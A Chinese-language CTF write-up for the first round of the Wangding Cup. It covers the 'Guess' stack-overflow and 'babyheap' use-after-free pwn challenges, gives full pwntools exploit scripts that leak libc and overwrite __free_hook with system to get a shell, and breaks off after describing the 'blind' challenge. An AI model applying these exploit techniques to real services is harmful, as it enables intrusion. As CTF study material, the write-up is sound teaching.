网鼎杯第一场Writeup

0x01 Guess

  • 程序功能

程序先将flag读入内存中,然后与用户输入相比较,程序会fork三次,在三次之后还猜不对则退出。

  • 漏洞位置

在用户输入flag时,是用gets()进行输入,此处存在栈溢出
vul

  • 利用思路
    程序开了canary,存在栈溢出,并且把flag读到了内存中,我们可以考虑触发__stack_check_fail的异常处理链将内存中的flag打印出来,由于没有固定的地址,存在于栈中,所以要先leak栈地址,最后算出偏移将flag打印出来。
    checksec

libc中有个environ指针指向存放环境变量的地址(栈上面),可通过此指针leak出栈地址。
environ

  • my-exp
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    from pwn import *
    local = 1

    if local:
    p = process('./GUESS')
    libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
    else:
    print 'time is up!'

    def guess(flag):
    flag = p64(0) * 37 + flag
    p.recvuntil('Please type your guessing flag\n')
    p.sendline(flag)
    p.recvuntil('***: ')
    return p.recvuntil(' ter')[:-4]

    def debug():
    print pidof(p)[0]
    raw_input()

    elf = ELF('./GUESS')
    #step1 leak libc_base
    gets_got = elf.got['gets']
    success('gets_got => ' + hex(gets_got))
    libc.address = u64(guess(p64(gets_got)) + '\x00' * 2) - libc.symbols['gets']
    success('libc_base => ' + hex(libc.address))

    #step2 leak environ_addr on the stack
    environ_addr_ptr = libc.symbols['environ']
    environ_addr= u64(guess(p64(environ_addr_ptr)) + '\x00' * 2)
    success('environ_addr => ' + hex(environ_addr))

    #step3 calc the offset of flag
    print guess(p64(environ_addr - 0x168))

0x02 babyheap

  • 程序功能

可申请最多10次的大小为0x20chunk,最多可edit 3chunk中的内容。

  • 漏洞位置

free后不清空指针使.bss上存在Dangling ptr
free
edit时不会检查是否已经free可造成uaf
edit

  • 利用思路
    因为只能edit3次,所以每次edit都要很精确。先利用连在一起的fastbin中构造出一个unlink的结构,并顺带leakheap_base第一次edit,在堆上构造fastbin attack,使在数组中出现触发unink的指针。第二次edit,写自身为free_hook第三次edit,将free_hook写为system但是!我死活没有leaklibc基址,从而无法在第二次将自身写为free_hook,也刚好无法写到limit的位置,于是我想了个骚操作绕了一大圈(下见被三个引号注释的脚本):将本该存堆指针的地方重新伪造个0x31来做fastbin attack,这样我就可以通过add来修改limit甚至修改可以索引到的指针来搞很多事情,虽然我只需要将leak一下libc基址,然后再写自身就行了。当时做出来的时候我觉得我简直是个天才,然后看了别人的writeup发现我简直是个傻逼,既然已经unlink获得了写自己的指针,第二次edit的时候把指针下移,第三次edit就可以直接改limit了。(下见未注释的脚本)。

unlink时只需满足free堆块的size不在fastbin范围内,进行unlink的堆块的size无所谓。unlink后产生的指向自己上面的指针可以有大作用,不要想的太死板了。

  • my-exp
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    127
    from pwn import *

    local = 1

    if local:
    p = process('./babyheap')
    elf = ELF('./babyheap')
    libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
    else:
    print 'Time is up!'

    def add(index , content):
    p.recvuntil('Choice:')
    p.sendline('1')
    p.recvuntil('Index:')
    p.sendline(str(index))
    p.recvuntil('Content:')
    p.sendline(content)
    p.recvuntil('Done!')

    def edit(index , content):
    p.recvuntil('Choice:')
    p.sendline('2')
    p.recvuntil('Index:')
    p.sendline(str(index))
    p.recvuntil('Content:')
    p.sendline(content)
    p.recvuntil('Done!')

    def show(index):
    p.recvuntil('Choice:')
    p.sendline('3')
    p.recvuntil('Index:')
    p.sendline(str(index))
    return p.recvuntil('Done!')[:-6]

    def free(index):
    p.recvuntil('Choice:')
    p.sendline('4')
    p.recvuntil('Index:')
    p.sendline(str(index))
    p.recvuntil('Done!')

    def debug():
    print pidof(p)[0]
    raw_input()

    free_got = elf.got['free']
    success('free_got => ' + hex(free_got))

    sleep(5)

    #leak heap_base
    ptr = 0x6020a8
    fake_fd = ptr - 0x18
    fake_bk = ptr - 0x10
    fake_unlink = p64(0) + p64(0xb1) + p64(fake_fd) + p64(fake_bk)
    fake_head = p64(0xb0) + p64(0x90)
    add(9 , fake_unlink[:-1])
    add(1 , '1' * 0x1f)
    add(2 , '2' * 0x1f)
    add(3 , '3' * 0x18 + '1')
    add(4 , '4' * 0x19)
    free(1)
    free(2)
    heap_base = u64(show(2).ljust(8 , '\x00')) - 0x30
    success('heap_base => ' + hex(heap_base))

    #unlink
    fake_fastbin = heap_base + 0xb0
    edit(2 , p64(fake_fastbin))
    add(5 , '5' * 0x8)
    add(6 , fake_head)
    add(7 , '7' * 0x1f)
    add(8 , '8' * 0x1f)
    add(0 , '0' * 0x1f)
    free(4)

    #leak libc_base
    payload = p64(free_got) + p64(0) * 2 + p64(0x6020a0)
    edit(9 , payload[:-1])
    libc.address = u64(show(6).ljust(8 , '\x00')) - libc.symbols['free']
    success('libc_base => ' + hex(libc.address))
    free_hook = libc.symbols['__free_hook']
    success('free_hook => ' + hex(free_hook))
    system_addr = libc.symbols['system']
    success('system_addr => ' + hex(system_addr))

    #break limit and change free_hook to system
    payload2 = p64(0) + p64(free_hook) + p64(4)
    edit(9 , payload2[:-1])
    edit(9 , p64(system_addr))

    #get shell
    add(8 , '/bin/sh')
    p.sendline('4')
    p.sendline('8')

    '''
    #make a fastbin attack to .bss
    free(8)
    bss_fastbin = 0x602090
    edit(8 , p64(bss_fastbin))
    bss_head = p64(0) + p64(0x31) + p64(0)
    edit(9 , bss_head[:-1])
    add(6 , '/bin/sh')

    #leak libc_base and change limit
    payload = p64(free_got) + p64(bss_fastbin) + p64(4)
    add(8 , payload)
    libc.address = u64(show(8).ljust(8 , '\x00')) - libc.symbols['free']
    success('libc_base => ' + hex(libc.address))
    free_hook = libc.symbols['__free_hook']
    success('free_hook => ' + hex(free_hook))
    system_addr = libc.symbols['system']
    success('system_addr => ' + hex(system_addr))

    #change free_hook to system
    payload = p64(heap_base + 0x130) + p64(0) + p64(0) + p64(free_hook)
    edit(9 , payload[:-1])
    edit(9 , p64(system_addr)[:-1])
    p.sendline('4')
    p.sendline('6')
    '''

    #debug()
    p.interactive()

0x03 blind

  • 程序功能
    和上一道babyheap很像,不一样的是这次对edit没有限制,但是限制了只能free3次,并且还提供了后门函数
文章目录
  1. 1. 0x01 Guess
  2. 2. 0x02 babyheap
  3. 3. 0x03 blind
,